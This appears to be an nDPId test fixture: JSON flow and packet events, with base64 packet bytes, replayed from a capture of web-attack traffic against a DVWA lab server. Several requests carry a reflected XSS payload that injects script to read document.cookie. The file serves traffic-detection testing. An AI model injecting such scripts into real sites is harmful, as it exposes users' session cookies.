{"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/?name=%3Cscript%3Econsole.log%28%27TNRH0PFRPCFVXECFZU2OUYBTDZQVIWB8HBZ1VC7EXA9PGMGBWA%27%29%3Bconsole.log%28document.cookie%29%3B%3C%2Fscript%3E","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00432{"flow_id":568,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8090,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347941,"pkt_ts_usec":874510,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IMRAAD4GpRSsEAABwKgKMoXMAFAQdrqCqMIPPYARAOXlswAAAQEICgE8n0kD5mu3"} +00432{"flow_id":569,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8091,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347941,"pkt_ts_usec":874645,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0XA1AAEAGZ8vAqAoyrBAAAQBQheYnhiyzUqZ2d4AQAOxGLgAAAQEICgPmcL4BPJ9J"} +00432{"flow_id":568,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8092,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347941,"pkt_ts_usec":876112,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0f4NAAEAGRFXAqAoyrBAAAQBQhcyowg89EHa6g4ARAOPgrQAAAQEICgPmcL4BPJ9J"} +00432{"flow_id":568,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8093,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347941,"pkt_ts_usec":876627,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IMVAAD4GpROsEAABwKgKMoXMAFAQdrqDqMIPPoAQAOXgqgAAAQEICgE8n0oD5nC+"} +02961{"flow_id":569,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8094,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347941,"pkt_ts_usec":878308,"pkt_caplen":1932,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1932,"pkt_l4_len":1898,"pkt":"AMGxFOsxABm5CmnxCABFAAd+XA5AAEAGYIDAqAoyrBAAAQBQheYnhiyzUqZ2d4AYAOx+XAAAAQEICgPmcL4BPJ9JSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMyOjIxIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1P2zoU\/gzS\/oOvr3SBScR0+3AHazPRFgYSbB0tL5uuFLmJ2xqcOLOdFv79PXaSNryWrEioOPZ5eY7P8fE5frfe\/Kv7vTP42TtAExML1Dtvnxx3EN4m5PJjh5DuoIuujganJ6jh7aC+UTw0hBx8wwhPjEn3CJnNZt7soyfVmAzOyK2V0rBsxXBbOx4vMhH2362\/W286PbexSHTrCRmN3d3dnDUnX2tOGI1guLbWjJmhyLJss98Zn7ZwRyaGJWZ7cJcyjML8q4UNuzXEiviMwglVmpnW+eBw+xNGJJe51jTcCOZfZCJhig654OZuD52xkWChYRHqKKk16nPDUD9UPDU8GaPNq35\/C+3toS6NE1TyCoYu2RDtp6ngITVcJmize3G5v4WmDa+xg9532ZQJmcYA7X2T5IoLFIInN0gx0cLa3AmmJ4wZjAxYUxgRao3RRLFRC3segb9oOqN2lsSUJ55bJo+lcdiKUs5\/PKZjRmDqvqQRnVoyzy3MZWhnbRXCNZ3SfBYjrcJ7QK61+98DBd61xn6T5JSF50jhOjseyugOhYJq63UZM5y7NOJTxKMWtr4Di5gqvF5ZskIq82tNHo8fIXFGaiLkWHppMsaICgiEJY5a2A1YQd0j1XaTA3BcVtH+aC1IaRSxKDcICDJR2mlX20KGN3ZrBEcyCUH1TQvPeBLJmQdLDkdrI7fE28AlKzDQe+7ysH8E29YkFHZZcH\/9NQJ5AqcvC+2U9tJJ+oL8h6TYP67M1FMLBy5Ll+ib02C\/b4eIwPGDSdRtV5SRTPgrbOi0cr45hMdQZYaRF1A9zYD9tv2PDqUKa3rgoUB2y8I6ABw99jsyjmkSoePkmjmPrIYi1GpUB4WjBxT9s8PVFI848b6kcFRbHDiziC2JklfxY\/+Qw+E+tjN65b3JUiFpVGd3Co4Cxrn7WtE\/NDVwc9VyUcHizi0LM8VQZ7836BztrwZF\/xa8Dg5HD2f6x8lbBauVGAzhcqvllArXAzRos22nt1ZDNWP0JuC1IJUs2L+EEeozbaMVHXdrpteHcm+1DmoByRmwD\/UM1CrfT1fcCitOVfRrlldRr8KhShzz4usN0Oi6u6FLFH0j1X0IK15B7ixCdbn0OlyQYd\/WjxAf+VS97QB+nozkEnUVKuz3jnpwOkayniI6lJlZomZOg\/19O3y7bbWF3lL1CyLsn7jxAwBFxXav9nu+ELQl7KIQhE7Grha67Vq1EGxOGn\/SXUDJ3CgK5orw6byCDUIZsYAqRov6eSRVjBIaQ7UO\/FD2uhTXwn9jBN3SRAL2rweDojZtpoXFlxNqNjS6k5lyzF\/KyjpJs2rxjwvR9nde31aJdDaMOZBNqcjgs59\/FtpI6udNBbEoc7ypYv4RE0KiotXwofLXUjDw8HhzY\/Dt7Gind3jW6xxeXB10Dn+df\/h+\/rM96P76cXF82f501P7VuOj8e3C1v9v7evq1fbm\/sfW5KiGSYWY7LS+U8oazrc\/zlgTgKOZcs\/Bwc\/LBP4UD78JfxTS\/rGDSrhXxAdG4iCvbfOqiYZUzqlPXs0KIslsbZsR5dluDZ4O5ZwPnWWjHqBpDJ4rhVqLJDfb\/XNY8imvjA+4AqhTDVHAAbR2YG3SgvzJBv2g9a2J8Wd5ynCzxZvyGpyzi1Im2X1XLdWn589heL+NlPIWZ4ZjPk3EoY3s9bI\/ob889STwJ4hWMr9Kc46SCKdNwEl5U94i6qqPIbnmol53rUEG\/m\/+WKeyZlFfknVAwquan+am8qO+0YXFg75In88MwM8b22UV+uOBshuD4p\/Ocnco0S4OSTCadPOsvHh32gOI83UTP3PZTkBhMQKINxy8AydUU\/5SOaAk520Bb2EdLYfUhGYbsbYFpJ3MpNLubVPAx5G3BRpA\/myz2zzVTNu\/uNQl8IRrFPClcCN9lcYBO7OtSQQMSFxRwqx93+8VKxLW9PqLSi886dCSluffYkvqrvHalT12r1QRM7MWZvwu6Fzv\/f+6N5HCSFAAA"} +00433{"flow_id":569,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8095,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347941,"pkt_ts_usec":879003,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06PJAAD4G3OWsEAABwKgKMoXmAFBSpnZ3J4Yz\/YAQAQI+zAAAAQEICgE8n0sD5nC+"} +00948{"flow_id":569,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8096,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347942,"pkt_ts_usec":899520,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGz6PNAAD4G22WsEAABwKgKMoXmAFBSpnZ3J4Yz\/YAYAQLs1AAAAQEICgE8oEoD5nC+R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02820{"flow_id":569,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8097,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347942,"pkt_ts_usec":903167,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceXBBAAEAGYN7AqAoyrBAAAQBQheYnhjP9UqZ39oAYAPV9\/AAAAQEICgPmcb8BPKBKSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMyOjIyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00434{"flow_id":569,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8098,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347942,"pkt_ts_usec":903902,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06PRAAD4G3OOsEAABwKgKMoXmAFBSpnf2J4Y654AQAR00RwAAAQEICgE8oEsD5nG\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8099,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":571,"flow_packet_id":1,"flow_first_seen":1499347943146,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34318,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":571,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8099,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347943,"pkt_ts_usec":146476,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8TwNAAD4Gds2sEAABwKgKMoYOAFBjnu+EAAAAAKACchDjvgAAAgQFtAQCCAoBPKCHAAAAAAEDAwc="} +00444{"flow_id":571,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8100,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347943,"pkt_ts_usec":146602,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhg4T7s6FY57vhaAScSCMRwAAAgQFtAQCCAoD5nH8ATyghwEDAwc="} +00432{"flow_id":571,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8101,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347943,"pkt_ts_usec":147348,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TwRAAD4GdtSsEAABwKgKMoYOAFBjnu+FE+7OhoAQAOUrTgAAAQEICgE8oIgD5nH8"} +01217{"flow_id":569,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8102,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347943,"pkt_ts_usec":148586,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ96PVAAD4G2pmsEAABwKgKMoXmAFBSpnf2J4Y654AYAR20kgAAAQEICgE8oIgD5nG\/R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdGNzlTSTcxUkZTSEtZNTk4MVREMlM0S1YyQlpTQlMzWVdPQ1pGRTRDMlEwUDhNS0kxViUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02958{"flow_id":569,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8103,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347943,"pkt_ts_usec":151541,"pkt_caplen":1932,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1932,"pkt_l4_len":1898,"pkt":"AMGxFOsxABm5CmnxCABFAAd+XBJAAEAGYHzAqAoyrBAAAQBQheYnhjrnUqZ6P4AYAP5+XAAAAQEICgPmcf0BPKCISFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMyOjIyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye08bORD\/G6R+B59POqASa0J7aqHJVpCQIypcUzZAW520cnadxOBdb21vAt\/+xvtIlmfYBgkFrz2P33jG4xm\/WW\/+0fnaHvzoH6GJiQTqnx+e9NoIbxNy+a5NSGfQQd+PB6cnqOHsIM8oHhhCjv7FCE+MSfYJmc1mzuydI9WYDM7IjZXSsGzFcFtnPE5oQuy+WX+z3sz03EQi1q1HZDT29vZy1px8rTlhNITh2lozYoYiy7LNfqV82sJtGRsWm+3BbcIwCvKvFjbsxhAr4hMKJlRpZlrng+72R4xILnOtabgRzL1IRcwUHXLBze0+OmMjwQLDQtRWUmvkccOQFyieGB6P0eZ3z9tC+\/uoQ6MYlbyCoUs2RAdJInhADZcx2uxcXB5soWnDaeygtx02ZUImEUB72yS54gKF4PE1Uky0sDa3gukJYwYjA9YURgRaYzRRbNTCjkPgL5zOqJ0lEeWxky2Th9I4bEUp5z8e0TEjMHVX0ohOLZmTLcxl6MzaKoQrOqX5LEZaBXeAXOnsfx8UOFcau02SUxaeI4Xr7Hgow1sUCKqt12XEcO7SkE8RD1vY+g4sYqrwemXJCqnMrzV5NH6AJDNSEyHH0kniMUZUQCAscdTCbsAK6h6otpvsg+PSivYHa35Cw5CFuUFAkIrSTrt6KGRwbbdGcCTjAFRft\/CMx6GcObCU4Wht5JY4G7hkBQZ6x10Odo9h25qEwi4L7q6\/RCCP4fSlgZ3STjJJnpF\/nxS7vcpMPbVw4NJkib45DXY9O0QEjh9Mos5hRRlJhbvChk4r55tDeAxVahh5BtXjDNg9tP9RV6qgpgfuC2Q3LKgDIKPHbltGEY1D1IuvWOaR1VAEWo3qoMjoAYV31l1N8YgT53MCR7XFgTMN2ZIoeRE\/drscDnfPzuiV9yZNhKRhnd0pOAoY59nXiv6hiYGbq5aLCpbs3LIgVQy1D\/qD9vHBalD0L8Hr4Mjo4Ux\/O3mtYLUS\/SFcbrWcUuG6hwZtHtrprdVQzRi99nktSCULdi9hhDymbbSiXqdmer0v90ZrvxaQnAG7UM9ArfL1dMWtsOJURb9meRX1IhyqxDEvvl4Bja67G7pE4Rmp7kJY8QrKziJUl0uvwwUZdm39CPGRT9XbDuDn8UguUVehwm7\/uA+nYyTrKaJDmZolauY02D2ww9fbVlvoLVW\/IMLuSTa+B6Co2O7Ufk8XgraEXRSC0MnY1UK3XasWgs1J43e6CyiZG0XBXBE+nVewfiBD5lPFaFE\/j6SKUEwjqNaBH8reLMW18J8YQbc0kYD9n6NBUZs2k8Liywk1GxrdylRlzJ\/LyjpO0mrxjwvR9nde31aJdDqMOJBNqUjh08s\/C20kcfOmgliUOd5EMfeYCSFR0Wq4UPlrKRh4eLy50f2w5\/U+NM663vGXH3\/vfWwMOrve+y8Xu4c\/vUPv3Y\/Lr+2f3aP37d1vO\/2Pp196jYuNrU9VCaEMUttpOYGU15xtfZq3JABHscw1Cw83J7vuKRz4LPxVRPPLCibtWhEfEI2LuLLNpy4aVjmjOsl6VghRdmPDjGSe3dbgWX\/uWT\/zLLRjVI2hE8VwK9H4Gru\/L2sexbXxAbcPVYphyj+Ctg7M9dvQXxnfK1rPmhifl7ccJ4udGb\/mCQs5zUTbr6rlurT8aWwvl\/E8nsLMYMznyTiQkb0etkf0l5M9STwK4gWML9Kc46SCKdPIJDyr7gF1VUeR3fJQLzvXoYJ+N\/8tU9gTKa\/IO4FgVM1P82N5Ud9qwyLf3iWP5odhaozts4v8cMHZDMHxT+Y5O5FJmvglmYzbedZfPDrsA8V5someuO2nINGfgEQbjp8BUlZT\/FU6oiXkbANtYRctheVBMgzY6wLTmcyl0OxuUsHHkLcFG0H+bLLIPddM2by73yTwhWgY8bhwIXyXxQE6sa9LBQ1IXFDArd7reMVKyLW9PsLSi086dCSlufPYkrirvHYlj12r1QRM7MWZvwtmL3bu\/88k4aOSFAAA"} +00434{"flow_id":569,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8104,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347943,"pkt_ts_usec":152289,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06PZAAD4G3OGsEAABwKgKMoXmAFBSpno\/J4ZCMYAQATsqGgAAAQEICgE8oIkD5nH9"} +00949{"flow_id":569,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8105,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347944,"pkt_ts_usec":194634,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGz6PdAAD4G22GsEAABwKgKMoXmAFBSpno\/J4ZCMYAYATvYHQAAAQEICgE8oY0D5nH9R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":569,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8106,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347944,"pkt_ts_usec":198521,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceXBRAAEAGYNrAqAoyrBAAAQBQheYnhkIxUqZ7voAYAQd9\/AAAAQEICgPmcwMBPKGNSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMyOjIzIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmel